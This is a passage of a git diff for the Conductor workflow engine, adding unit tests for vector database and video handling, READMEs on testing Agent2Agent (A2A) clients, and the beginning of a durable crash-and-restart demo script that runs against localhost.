VectorDBProvider(instanceConfig, defaults(defaultSqlite)); + + VectorDB result = provider.get("default", mock(TaskContext.class)); + assertNotNull(result); + assertEquals("sqlite", result.getType()); + } + + @Test + void testExplicitInstanceTakesPrecedenceOverDefault() { + VectorDB explicit = mock(VectorDB.class); + when(explicit.getName()).thenReturn("default"); + when(explicit.getType()).thenReturn("postgres"); + + VectorDB defaultSqlite = mock(VectorDB.class); + when(defaultSqlite.getName()).thenReturn("default"); + when(defaultSqlite.getType()).thenReturn("sqlite"); + + Map instances = new HashMap<>(); + instances.put("default", explicit); + + VectorDBInstanceConfig instanceConfig = mock(VectorDBInstanceConfig.class); + when(instanceConfig.getVectorDBInstances()).thenReturn(instances); + + VectorDBProvider provider = new VectorDBProvider(instanceConfig, defaults(defaultSqlite)); + + // The explicitly configured instance wins; putIfAbsent does not overwrite it. + assertEquals("postgres", provider.get("default", mock(TaskContext.class)).getType()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/vectordb/VectorDBsTest.java b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/VectorDBsTest.java new file mode 100644 index 0000000..8d22f7b --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/vectordb/VectorDBsTest.java @@ -0,0 +1,167 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.vectordb; + +import org.conductoross.conductor.ai.model.IndexedDoc; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +class VectorDBsTest { + + private VectorDBProvider mockProvider; + private VectorDB mockVectorDB; + private VectorDBs vectorDBs; + private TaskContext mockContext; + + @BeforeEach + void setUp() { + mockProvider = mock(VectorDBProvider.class); + mockVectorDB = mock(VectorDB.class); + mockContext = mock(TaskContext.class); + vectorDBs = new VectorDBs(mockProvider); + } + + @Test + void testStoreEmbeddings_success() { + when(mockProvider.get("postgres-prod", mockContext)).thenReturn(mockVectorDB); + when(mockVectorDB.updateEmbeddings( + eq("index1"), + eq("namespace1"), + eq("sample text"), + eq("parent-doc-1"), + eq("doc-1"), + anyList(), + anyMap())) + .thenReturn(1); + + int result = + vectorDBs.storeEmbeddings( + "postgres-prod", + mockContext, + "index1", + "namespace1", + "sample text", + "parent-doc-1", + "doc-1", + java.util.List.of(0.1f, 0.2f, 0.3f), + java.util.Map.of("key", "value")); + + assertEquals(1, result); + verify(mockVectorDB) + .updateEmbeddings( + "index1", + "namespace1", + "sample text", + "parent-doc-1", + "doc-1", + java.util.List.of(0.1f, 0.2f, 0.3f), + java.util.Map.of("key", "value")); + } + + @Test + void testStoreEmbeddings_vectorDBNotFound() { + when(mockProvider.get("unknown", mockContext)).thenReturn(null); + + NonRetryableException ex = + assertThrows( + NonRetryableException.class, + () -> + vectorDBs.storeEmbeddings( + "unknown", + mockContext, + "index1", + "namespace1", + "text", + null, + "doc-1", + java.util.List.of(0.1f), + null)); + + assertEquals("VectorDB not found: unknown", ex.getMessage()); + } + + @Test + void testSearchEmbeddings_success() { + java.util.List expectedResults = java.util.List.of(new IndexedDoc()); + + when(mockProvider.get("mongodb-prod", mockContext)).thenReturn(mockVectorDB); + when(mockVectorDB.search(eq("index1"), eq("namespace1"), anyList(), eq(10))) + .thenReturn(expectedResults); + + java.util.List result = + vectorDBs.searchEmbeddings( + "mongodb-prod", + mockContext, + "index1", + "namespace1", + java.util.List.of(0.1f, 0.2f, 0.3f), + 10); + + assertEquals(expectedResults, result); + verify(mockVectorDB) + .search("index1", "namespace1", java.util.List.of(0.1f, 0.2f, 0.3f), 10); + } + + @Test + void testSearchEmbeddings_vectorDBNotFound() { + when(mockProvider.get("unknown", mockContext)).thenReturn(null); + + NonRetryableException ex = + assertThrows( + NonRetryableException.class, + () -> + vectorDBs.searchEmbeddings( + "unknown", + mockContext, + "index1", + "namespace1", + java.util.List.of(0.1f), + 10)); + + assertEquals("VectorDB not found: unknown", ex.getMessage()); + } + + @Test + void testStoreEmbeddings_nullMetadata() { + when(mockProvider.get("postgres-prod", mockContext)).thenReturn(mockVectorDB); + when(mockVectorDB.updateEmbeddings( + anyString(), + anyString(), + anyString(), + any(), + anyString(), + anyList(), + isNull())) + .thenReturn(1); + + int result = + vectorDBs.storeEmbeddings( + "postgres-prod", + mockContext, + "index1", + "namespace1", + "text", + null, + "doc-1", + java.util.List.of(0.1f), + null); + + assertEquals(1, result); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/video/VideoMemoryTest.java b/ai/src/test/java/org/conductoross/conductor/ai/video/VideoMemoryTest.java new file mode 100644 index 0000000..31e13e0 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/video/VideoMemoryTest.java @@ -0,0 +1,153 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import java.util.Base64; +import java.util.Random; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Tests to verify that Video class uses direct byte storage efficiently without creating + * unnecessary copies through Base64 encoding/decoding. + */ +public class VideoMemoryTest { + + private static final int TEST_VIDEO_SIZE = 1024 * 1024; // 1MB + + private byte[] createTestVideoBytes() { + byte[] data = new byte[TEST_VIDEO_SIZE]; + new Random(42).nextBytes(data); // Fixed seed for reproducibility + return data; + } + + @Test + public void testFromBytes_StoresDirectReference() { + byte[] videoBytes = createTestVideoBytes(); + + Video video = Video.fromBytes(videoBytes, "video/mp4"); + + assertSame( + videoBytes, + video.getData(), + "fromBytes() should store the same array reference, not create a copy"); + assertNull(video.getB64Json(), "fromBytes() should not populate b64Json field"); + assertNull(video.getUrl(), "fromBytes() should not populate url field"); + assertEquals("video/mp4", video.getMimeType()); + } + + @Test + public void testGetData_ReturnsDirectReference() { + byte[] videoBytes = createTestVideoBytes(); + Video video = Video.fromBytes(videoBytes, "video/mp4"); + + byte[] retrieved1 = video.getData(); + byte[] retrieved2 = video.getData(); + + assertSame(videoBytes, retrieved1, "getData() should return the same array reference"); + assertSame( + retrieved1, + retrieved2, + "Multiple getData() calls should return the same reference"); + } + + @Test + public void testBase64Constructor_DoesNotPopulateData() { + byte[] videoBytes = createTestVideoBytes(); + String base64 = Base64.getEncoder().encodeToString(videoBytes); + + Video video = new Video(null, base64, "video/mp4"); + + assertNull(video.getData(), "Constructor with base64 should not populate data field"); + assertNotNull(video.getB64Json()); + } + + @Test + public void testFromBytes_AvoidsBase64EncodingOverhead() { + byte[] videoBytes = createTestVideoBytes(); + + // Using fromBytes - direct storage + Video optimizedVideo = Video.fromBytes(videoBytes, "video/mp4"); + + // Using base64 - old way + String base64 = Base64.getEncoder().encodeToString(videoBytes); + + // Base64 string consumes ~33% more memory (each char is 2 bytes in Java) + long base64MemoryBytes = (long) base64.length() * 2; + long directMemoryBytes = videoBytes.length; + + assertTrue( + base64MemoryBytes > directMemoryBytes * 1.3, + "Base64 encoding should consume at least 33% more memory"); + assertSame( + videoBytes, + optimizedVideo.getData(), + "Optimized approach should use same array reference"); + } + + @Test + public void testBase64Decoding_CreatesNewArray() { + byte[] originalBytes = createTestVideoBytes(); + String base64 = Base64.getEncoder().encodeToString(originalBytes); + + byte[] decodedBytes = Base64.getDecoder().decode(base64); + + assertNotSame( + originalBytes, decodedBytes, "Base64 decode creates a new array (wasteful copy)"); + assertArrayEquals(originalBytes, decodedBytes, "Content should be the same"); + } + + @Test + public void testBackwardCompatibility_Base64StillSupported() { + byte[] videoBytes = createTestVideoBytes(); + String base64 = Base64.getEncoder().encodeToString(videoBytes); + + Video oldFormatVideo = new Video(null, base64, "video/mp4"); + + assertNotNull(oldFormatVideo.getB64Json()); + byte[] decoded = Base64.getDecoder().decode(oldFormatVideo.getB64Json()); + assertArrayEquals(videoBytes, decoded); + } + + @Test + public void testVideoEquality() { + byte[] videoBytes = createTestVideoBytes(); + + Video video1 = Video.fromBytes(videoBytes, "video/mp4"); + Video video2 = Video.fromBytes(videoBytes, "video/mp4"); + + assertEquals(video1, video2); + assertEquals(video1.hashCode(), video2.hashCode()); + } + + @Test + public void testSettersAndGetters() { + Video video = new Video(null, null, null, null); + + assertNull(video.getUrl()); + assertNull(video.getData()); + assertNull(video.getB64Json()); + assertNull(video.getMimeType()); + + video.setUrl("https://example.com/video.mp4"); + video.setMimeType("video/mp4"); + byte[] data = new byte[100]; + video.setData(data); + + assertEquals("https://example.com/video.mp4", video.getUrl()); + assertEquals("video/mp4", video.getMimeType()); + assertSame(data, video.getData()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/video/VideoModelTest.java b/ai/src/test/java/org/conductoross/conductor/ai/video/VideoModelTest.java new file mode 100644 index 0000000..901ec66 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/video/VideoModelTest.java @@ -0,0 +1,137 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** Unit tests for video model interfaces. */ +public class VideoModelTest { + + @Test + public void testVideoOptionsBuilder() { + VideoOptions options = + VideoOptionsBuilder.builder() + .model("gen3a_turbo") + .duration(5) + .width(1280) + .height(720) + .fps(24) + .outputFormat("mp4") + .style("cinematic") + .motion("medium") + .seed(42) + .guidanceScale(7.5f) + .aspectRatio("16:9") + .generateThumbnail(true) + .thumbnailTimestamp(2) + .build(); + + assertEquals("gen3a_turbo", options.getModel()); + assertEquals(5, options.getDuration()); + assertEquals(1280, options.getWidth()); + assertEquals(720, options.getHeight()); + assertEquals(24, options.getFps()); + assertEquals("mp4", options.getOutputFormat()); + assertEquals("cinematic", options.getStyle()); + assertEquals("medium", options.getMotion()); + assertEquals(42, options.getSeed()); + assertEquals(7.5f, options.getGuidanceScale()); + assertEquals("16:9", options.getAspectRatio()); + assertTrue(options.getGenerateThumbnail()); + assertEquals(2, options.getThumbnailTimestamp()); + } + + @Test + public void testVideoOptionsBuilderDefaults() { + VideoOptions options = VideoOptionsBuilder.builder().build(); + + assertEquals(5, options.getDuration()); + assertEquals(1280, options.getWidth()); + assertEquals(720, options.getHeight()); + assertEquals(24, options.getFps()); + assertEquals("mp4", options.getOutputFormat()); + assertEquals(1, options.getN()); + assertTrue(options.getGenerateThumbnail()); + } + + @Test + public void testVideoPromptCreation() { + VideoPrompt prompt = new VideoPrompt("A serene beach at sunset"); + + assertNotNull(prompt.getInstructions()); + assertEquals(1, prompt.getInstructions().size()); + assertEquals("A serene beach at sunset", prompt.getInstructions().get(0).getText()); + } + + @Test + public void testVideoPromptWithOptions() { + VideoOptions options = VideoOptionsBuilder.builder().duration(10).build(); + VideoPrompt prompt = new VideoPrompt("A serene beach at sunset", options); + + assertNotNull(prompt.getInstructions()); + assertEquals(1, prompt.getInstructions().size()); + assertEquals("A serene beach at sunset", prompt.getInstructions().get(0).getText()); + assertEquals(10, prompt.getOptions().getDuration()); + } + + @Test + public void testVideoCreationWithUrl() { + Video video = new Video("https://example.com/video.mp4", null, "video/mp4"); + + assertEquals("https://example.com/video.mp4", video.getUrl()); + assertNull(video.getB64Json()); + assertEquals("video/mp4", video.getMimeType()); + } + + @Test + public void testVideoCreationWithBase64() { + String b64Data = "dmlkZW9fZGF0YQ=="; // "video_data" in base64 + Video video = new Video(null, b64Data, "video/mp4"); + + assertNull(video.getUrl()); + assertEquals(b64Data, video.getB64Json()); + assertEquals("video/mp4", video.getMimeType()); + } + + @Test + public void testVideoCreationBackwardCompatible() { + // Test the 2-arg constructor for backward compatibility + Video video = new Video("https://example.com/video.mp4", null); + + assertEquals("https://example.com/video.mp4", video.getUrl()); + assertNull(video.getB64Json()); + assertNull(video.getMimeType()); + } + + @Test + public void testVideoEquality() { + Video video1 = new Video("https://example.com/video.mp4", null, "video/mp4"); + Video video2 = new Video("https://example.com/video.mp4", null, "video/mp4"); + Video video3 = new Video("https://example.com/other.mp4", null, "video/mp4"); + + assertEquals(video1, video2); + assertNotEquals(video1, video3); + assertEquals(video1.hashCode(), video2.hashCode()); + } + + @Test + public void testVideoToString() { + Video video = new Video("https://example.com/video.mp4", null, "video/mp4"); + String str = video.toString(); + + assertTrue(str.contains("https://example.com/video.mp4")); + assertTrue(str.contains("video/mp4")); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/video/VideoProviderMemoryTest.java b/ai/src/test/java/org/conductoross/conductor/ai/video/VideoProviderMemoryTest.java new file mode 100644 index 0000000..a218297 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/video/VideoProviderMemoryTest.java @@ -0,0 +1,219 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.video; + +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; +import java.util.Random; + +import org.conductoross.conductor.ai.model.Media; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Tests that verify video provider flows use direct byte references instead of creating copies + * through Base64 encoding/decoding. + */ +public class VideoProviderMemoryTest { + + private static final int TEST_VIDEO_SIZE = 1024 * 1024; // 1MB + + private byte[] createTestVideoBytes() { + byte[] data = new byte[TEST_VIDEO_SIZE]; + new Random(42).nextBytes(data); + return data; + } + + @Test + public void testOptimizedFlow_NoCopiesCreated() { + byte[] downloadedBytes = createTestVideoBytes(); + + // Step 1: Store using fromBytes (optimized way) + Video video = Video.fromBytes(downloadedBytes, "video/mp4"); + + // Step 2: Access bytes + byte[] accessedBytes = video.getData(); + + // Step 3: Store in Media + Media media = Media.builder().data(accessedBytes).mimeType("video/mp4").build(); + + // Verify: All references should be the same (zero copy) + assertSame(downloadedBytes, video.getData(), "Video should reference original bytes"); + assertSame(downloadedBytes, accessedBytes, "Accessed bytes should be same reference"); + assertSame(downloadedBytes, media.getData(), "Media should reference original bytes"); + } + + @Test + public void testOldFlow_CreatesMultipleCopies() { + byte[] downloadedBytes = createTestVideoBytes(); + + // Old way: encode to base64 + String base64 = Base64.getEncoder().encodeToString(downloadedBytes); + Video video = new Video(null, base64, "video/mp4"); + + // Old way: decode from base64 (creates copy) + byte[] decodedBytes = Base64.getDecoder().decode(video.getB64Json()); + + assertNotSame(downloadedBytes, decodedBytes, "Decoding creates a new array (inefficient)"); + } + + @Test + public void testOpenAIProviderFlow_UsesDirectBytes() { + byte[] mockDownload = createTestVideoBytes(); + + // Simulate OpenAIVideoModel.checkStatus() + Video video = Video.fromBytes(mockDownload, "video/mp4"); + VideoGeneration generation = new VideoGeneration(video); + List generations = List.of(generation); + VideoResponse response = new VideoResponse(generations); + + // Simulate OpenAI.checkVideoStatus() + List mediaList = new ArrayList<>(); + for (VideoGeneration gen : response.getResults()) { + Video v = gen.getOutput(); + String mimeType = v.getMimeType() != null ? v.getMimeType() : "video/mp4"; + + if (v.getData() != null) { + mediaList.add(Media.builder().data(v.getData()).mimeType(mimeType).build()); + } + } + + assertEquals(1, mediaList.size()); + assertSame( + mockDownload, + mediaList.get(0).getData(), + "OpenAI flow should preserve original byte reference"); + } + + @Test + public void testGeminiProviderFlow_PrioritizesBytesOverUrl() { + byte[] mockSdkBytes = createTestVideoBytes(); + + // Simulate GeminiVideoModel.checkStatus() - bytes available + Video video = Video.fromBytes(mockSdkBytes, "video/mp4"); + VideoGeneration generation = new VideoGeneration(video); + List generations = List.of(generation); + VideoResponse response = new VideoResponse(generations); + + // Simulate GeminiVertex.checkVideoStatus() + List mediaList = new ArrayList<>(); + for (VideoGeneration gen : response.getResults()) { + Video v = gen.getOutput(); + String mimeType = v.getMimeType() != null ? v.getMimeType() : "video/mp4"; + + // Three-tier fallback logic + if (v.getData() != null) { + mediaList.add(Media.builder().data(v.getData()).mimeType(mimeType).build()); + } else if (v.getB64Json() != null) { + mediaList.add( + Media.builder() + .data(Base64.getDecoder().decode(v.getB64Json())) + .mimeType(mimeType) + .build()); + } + } + + assertEquals(1, mediaList.size()); + assertSame( + mockSdkBytes, + mediaList.get(0).getData(), + "Gemini flow should use TIER 1 (direct bytes)"); + } + + @Test + public void testGeminiProviderFlow_FallbackToBase64() { + byte[] originalBytes = createTestVideoBytes(); + String base64 = Base64.getEncoder().encodeToString(originalBytes); + + // Simulate old format video (only base64, no direct bytes) + Video video = new Video(null, base64, "video/mp4"); + VideoGeneration generation = new VideoGeneration(video); + VideoResponse response = new VideoResponse(List.of(generation)); + + // Process with fallback logic + List mediaList = new ArrayList<>(); + for (VideoGeneration gen : response.getResults()) { + Video v = gen.getOutput(); + String mimeType = v.getMimeType() != null ? v.getMimeType() : "video/mp4"; + + if (v.getData() != null) { + mediaList.add(Media.builder().data(v.getData()).mimeType(mimeType).build()); + } else if (v.getB64Json() != null) { + mediaList.add( + Media.builder() + .data(Base64.getDecoder().decode(v.getB64Json())) + .mimeType(mimeType) + .build()); + } + } + + assertEquals(1, mediaList.size()); + assertArrayEquals( + originalBytes, + mediaList.get(0).getData(), + "Fallback to base64 should work correctly"); + } + + @Test + public void testProviderFlow_WithThumbnail() { + byte[] videoBytes = createTestVideoBytes(); + byte[] thumbnailBytes = new byte[50 * 1024]; // 50KB thumbnail + new Random(43).nextBytes(thumbnailBytes); + + Video video = Video.fromBytes(videoBytes, "video/mp4"); + Video thumbnail = Video.fromBytes(thumbnailBytes, "image/webp"); + + List generations = + List.of(new VideoGeneration(video), new VideoGeneration(thumbnail)); + + VideoResponse response = new VideoResponse(generations); + + List mediaList = new ArrayList<>(); + for (VideoGeneration gen : response.getResults()) { + Video v = gen.getOutput(); + if (v.getData() != null) { + mediaList.add(Media.builder().data(v.getData()).mimeType(v.getMimeType()).build()); + } + } + + assertEquals(2, mediaList.size()); + assertSame(videoBytes, mediaList.get(0).getData()); + assertSame(thumbnailBytes, mediaList.get(1).getData()); + } + + @Test + public void testVideoGeneration_PreservesVideoReference() { + byte[] videoBytes = createTestVideoBytes(); + Video video = Video.fromBytes(videoBytes, "video/mp4"); + + VideoGeneration generation = new VideoGeneration(video); + + assertSame(video, generation.getOutput()); + assertSame(videoBytes, generation.getOutput().getData()); + } + + @Test + public void testVideoResponse_PreservesReferences() { + byte[] videoBytes = createTestVideoBytes(); + Video video = Video.fromBytes(videoBytes, "video/mp4"); + VideoGeneration generation = new VideoGeneration(video); + + VideoResponse response = new VideoResponse(List.of(generation)); + + assertEquals(1, response.getResults().size()); + assertSame(generation, response.getResult()); + assertSame(videoBytes, response.getResult().getOutput().getData()); + } +} diff --git a/ai/src/test/resources/a2a/README.md b/ai/src/test/resources/a2a/README.md new file mode 100644 index 0000000..a8a10b8 --- /dev/null +++ b/ai/src/test/resources/a2a/README.md @@ -0,0 +1,68 @@ +# A2A end-to-end testing + +This directory holds helpers for testing Conductor's A2A (Agent2Agent) client against **real +agents**. The implementation lives in `ai/src/main/java/org/conductoross/conductor/ai/a2a/`. + +## Test layers + +| Layer | What it covers | Runs in CI? | +|---|---|---| +| `A2AServiceTest` | JSON-RPC client wire behavior via OkHttp `MockWebServer` | yes | +| `A2AEndToEndTest` | Discovery, send, **poll-to-completion**, streaming (SSE), cancel — against a real embedded A2A HTTP server (`EmbeddedA2AAgent`) over loopback | yes | +| `A2ACallbackResourceTest` | Push-notification receiver completing a task, against the embedded agent (engine mocked) | yes | +| `A2ASdkInteropTest` | Discovery + send + poll + streaming + message-mode against the **official `a2a-sdk` reference agent**, launched as a subprocess | when a Python with `a2a-sdk` is found (set `A2A_PYTHON`) | +| `A2ADurableEngineEndToEndTest` (`test-harness`) | `AGENT` through the **real engine** (decider + `AsyncSystemTaskExecutor` + Redis), proving crash/restart resume | yes (needs Docker for Redis) | +| `A2ARealAgentIntegrationTest` | Discovery + `AGENT` against a **real external agent** | only when `A2A_AGENT_URL` is set | + +`EmbeddedA2AAgent` is a genuine HTTP server speaking A2A JSON-RPC + SSE — not a mock — so the +CI suite already exercises the real wire protocol. The opt-in layer below points the same client +at a third-party agent (e.g. one built on the official `a2a-sdk`). + +## Run against a real agent (opt-in) + +### 1. Start an agent + +A minimal real agent built on the official Python `a2a-sdk` is provided here: + +```bash +uv venv --python 3.12 && uv pip install "a2a-sdk>=0.2,<0.3" uvicorn +AGENT_MODE=task python ai/src/test/resources/a2a/echo_agent.py # serves http://localhost:9999 +# AGENT_MODE=message -> returns a direct message instead of a Task +``` + +Or run any agent from [`a2aproject/a2a-samples`](https://github.com/a2aproject/a2a-samples) +(e.g. `samples/python/agents/helloworld` or the LangGraph currency agent). + +### 2. Run the integration test against it + +```bash +A2A_AGENT_URL=http://localhost:9999 \ +A2A_AGENT_PROMPT="convert 100 USD to EUR" \ + ./gradlew :conductor-ai:test --tests '*A2ARealAgentIntegrationTest' +``` + +Optional env: `A2A_AGENT_TOKEN` (sent as `Authorization: Bearer `). + +> Verified locally against `echo_agent.py` (a2a-sdk 0.2.6): discovery resolved the Agent Card and +> `AGENT` returned `state=completed`, `text=echo-task: convert 100 USD`. + +## Full-server verification (manual) + +To exercise the whole engine path (workflow → engine → `AGENT` system task → real agent): + +1. Start an agent (above). +2. Start Conductor with the AI integration enabled: + `conductor.integrations.ai.enabled=true` (and, for push mode, + `conductor.a2a.callback.url=`). +3. Register and run `ai/examples/10-a2a-call-agent.json`, setting `inputParameters.agentUrl` + to the agent's URL (e.g. `http://localhost:9999`). +4. Confirm the workflow completes and the `AGENT` task output carries the agent's + `state`, `text`, `artifacts`, `taskId`, and `contextId`. Use the `conductor` CLI/skill to + start the workflow and inspect the execution. + +## Task types + +- `AGENT` — send a message to a remote agent; poll (default), stream (`streaming:true`), + or push (`pushNotification:true` + `conductor.a2a.callback.url`) for long-running work. +- `GET_AGENT_CARD` — discover an agent's skills/capabilities. +- `CANCEL_AGENT` — cancel a running remote agent task. diff --git a/ai/src/test/resources/a2a/durable-demo/README.md b/ai/src/test/resources/a2a/durable-demo/README.md new file mode 100644 index 0000000..88b76e8 --- /dev/null +++ b/ai/src/test/resources/a2a/durable-demo/README.md @@ -0,0 +1,78 @@ +# Durable A2A — the money shot + +**Kill Conductor mid-order. Restart it. The order finishes anyway.** + +This demo shows the one thing an in-memory A2A host (the reference `a2a-samples` concierge, ADK, +CrewAI, LangGraph host loops) *cannot* do: survive a crash mid-orchestration. A Conductor workflow +that calls a remote A2A agent is a **durable** unit of work — its state is persisted, so a server +crash and restart resumes the in-flight agent interaction to completion. + +## What runs + +``` + ┌─────────────────────────────┐ A2A (JSON-RPC) ┌──────────────────────────┐ + │ Conductor │ message/send → tasks/get │ Restaurant agent │ + │ durable_purchase workflow │ ────────────────────────────▶ │ (seller_agent.py) │ + │ └─ AGENT ──────────┘ (poll while "preparing") │ separate process, │ + │ state in SQLite (durable) │ ◀──────────────────────────── │ survives the restart │ + └─────────────────────────────┘ receipt └──────────────────────────┘ + ▲ 💥 kill -9 + restart (same SQLite store) +``` + +- **Concierge** = the `durable_purchase` Conductor workflow (`durable_purchase.json`): one + `AGENT` task that places the order with the remote agent and polls until it's ready. +- **Seller** = `seller_agent.py`, a dependency-free A2A agent whose order stays *in preparation* + for `SELLER_DELAY` seconds, giving us a window to crash Conductor. It's a separate process, so it + keeps running across the Conductor restart. +- **Durable store** = SQLite (Conductor's zero-dependency standalone mode). The workflow + the + `AGENT` task (with the remote agent's task id) are persisted here; on restart the engine + reloads them and the system-task worker resumes polling. + +## Run it + +Requires **Java 21+**, **python3**, **curl** — no Docker, no Redis, no API keys. + +```bash +./run-durable-demo.sh +``` + +It builds the Conductor server jar (this branch), starts the seller + Conductor, places an order, +waits until it's in preparation, **`kill -9`s the server**, restarts it on the same SQLite store, +and waits for the order to complete. + +Tunables: `SELLER_DELAY` (seconds the order stays in preparation; default 45). + +## Expected output + +``` +▶ Placing an order (the concierge calls the restaurant agent via AGENT) +✓ Order started — workflowId=270df5c6-… +▶ Waiting for the order to be in preparation (workflow RUNNING, task IN_PROGRESS) +✓ Order in preparation. Status=RUNNING +▶ 💥 Killing the Conductor server MID-ORDER (kill -9) +✓ Conductor is DOWN. The order is in flight; an in-memory host would have just lost it. +▶ Restarting Conductor on the SAME persistent store +✓ Conductor is up on :7001 +▶ Waiting for the order to COMPLETE after the restart + workflow status : COMPLETED + receipt : Order ORD-BEA3FB24 confirmed: 1 large pepperoni pizza. Enjoy! +✓ ORDER SURVIVED THE CRASH AND COMPLETED. That is durable A2A. +``` + +## Why it matters + +The A2A protocol is stateless request/response; **durability is a property of the orchestrator, +not the protocol**. Run the same concierge pattern on an in-memory host and the crash loses the +order — there is no resume. On Conductor, the agent interaction is a persisted, resumable task. +That is the "durable A2A" claim, demonstrated (see `design/a2a/09-durable-a2a.md`). + +## Notes + +- The concierge calls the seller over loopback, so the server runs with + `conductor.a2a.client.allow-private-network=true` (the SSRF guard blocks private/loopback agent + URLs by default). Use it only for agents on a trusted network. +- This demo doubles as the **full-process crash/restart proof** for A2A durability — a real + `kill -9` of a persistent server with `AGENT` resuming — complementing the in-process + proofs in `A2ADurabilityTest`. +- `seller_agent.py` here is intentionally dependency-free (stdlib). For an agent built on the + official `a2a-sdk`, see `../echo_agent.py` and `../README.md`. diff --git a/ai/src/test/resources/a2a/durable-demo/durable_purchase.json b/ai/src/test/resources/a2a/durable-demo/durable_purchase.json new file mode 100644 index 0000000..86f1fa1 --- /dev/null +++ b/ai/src/test/resources/a2a/durable-demo/durable_purchase.json @@ -0,0 +1,23 @@ +{ + "name": "durable_purchase", + "version": 1, + "schemaVersion": 2, + "description": "Durable purchasing concierge — places an order via a remote A2A seller agent (AGENT)", + "tasks": [ + { + "name": "place_order", + "taskReferenceName": "order", + "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.agentUrl}", + "text": "${workflow.input.orderText}", + "pollIntervalSeconds": 3 + } + } + ], + "outputParameters": { + "state": "${order.output.state}", + "receipt": "${order.output.text}", + "agentTaskId": "${order.output.taskId}" + } +} diff --git a/ai/src/test/resources/a2a/durable-demo/run-durable-demo.sh b/ai/src/test/resources/a2a/durable-demo/run-durable-demo.sh new file mode 100755 index 0000000..77136cc --- /dev/null +++ b/ai/src/test/resources/a2a/durable-demo/run-durable-demo.sh @@ -0,0 +1,116 @@ +#!/usr/bin/env bash +# +# Durable A2A — the money shot. +# +# Places an order through a Conductor workflow that calls a remote A2A "restaurant" agent +# (AGENT). While the order is being prepared, we KILL the Conductor server, then RESTART it. +# Because the workflow/task state is durably persisted (SQLite here), the order RESUMES and +# COMPLETES after the restart. An in-memory A2A host (the reference samples) would have lost it. +# +# Requires: Java 21+, python3, curl. No Docker, no Redis, no API keys. +# Usage: ./run-durable-demo.sh +# +set -euo pipefail + +HERE="$(cd "$(dirname "$0")" && pwd)" +ROOT="$(cd "$HERE" && git rev-parse --show-toplevel)" +PORT=7001 +DB="/tmp/conductor-durable-demo.db" +SERVER_LOG="/tmp/conductor-durable-demo.server.log" +SELLER_DELAY="${SELLER_DELAY:-45}" # seconds the order stays "in preparation" +SERVER_PID="" +SELLER_PID="" + +say() { printf '\n\033[1;36m▶ %s\033[0m\n' "$*"; } +ok() { printf '\033[1;32m✓ %s\033[0m\n' "$*"; } + +cleanup() { + [ -n "$SERVER_PID" ] && kill "$SERVER_PID" 2>/dev/null || true + [ -n "$SELLER_PID" ] && kill "$SELLER_PID" 2>/dev/null || true +} +trap cleanup EXIT + +wf_status() { curl -sS "localhost:$PORT/api/workflow/$1" | python3 -c 'import sys,json;print(json.load(sys.stdin)["status"])'; } + +wait_health() { + for _ in $(seq 1 60); do + curl -sS -m2 -o /dev/null "localhost:$PORT/health" 2>/dev/null && { ok "Conductor is up on :$PORT"; return; } + sleep 1 + done + echo "Conductor did not become healthy — see $SERVER_LOG"; exit 1 +} + +start_server() { + java -Dserver.port="$PORT" \ + -Dspring.datasource.url="jdbc:sqlite:$DB?busy_timeout=15000&journal_mode=WAL" \ + -Dconductor.integrations.ai.enabled=true \ + -Dconductor.a2a.client.allow-private-network=true \ + -jar "$JAR" > "$SERVER_LOG" 2>&1 & + SERVER_PID=$! +} + +# ── 0. fresh state ──────────────────────────────────────────────────────────────────────── +say "Cleaning previous demo state" +rm -f "$DB"* "$SERVER_LOG" + +# ── 1. 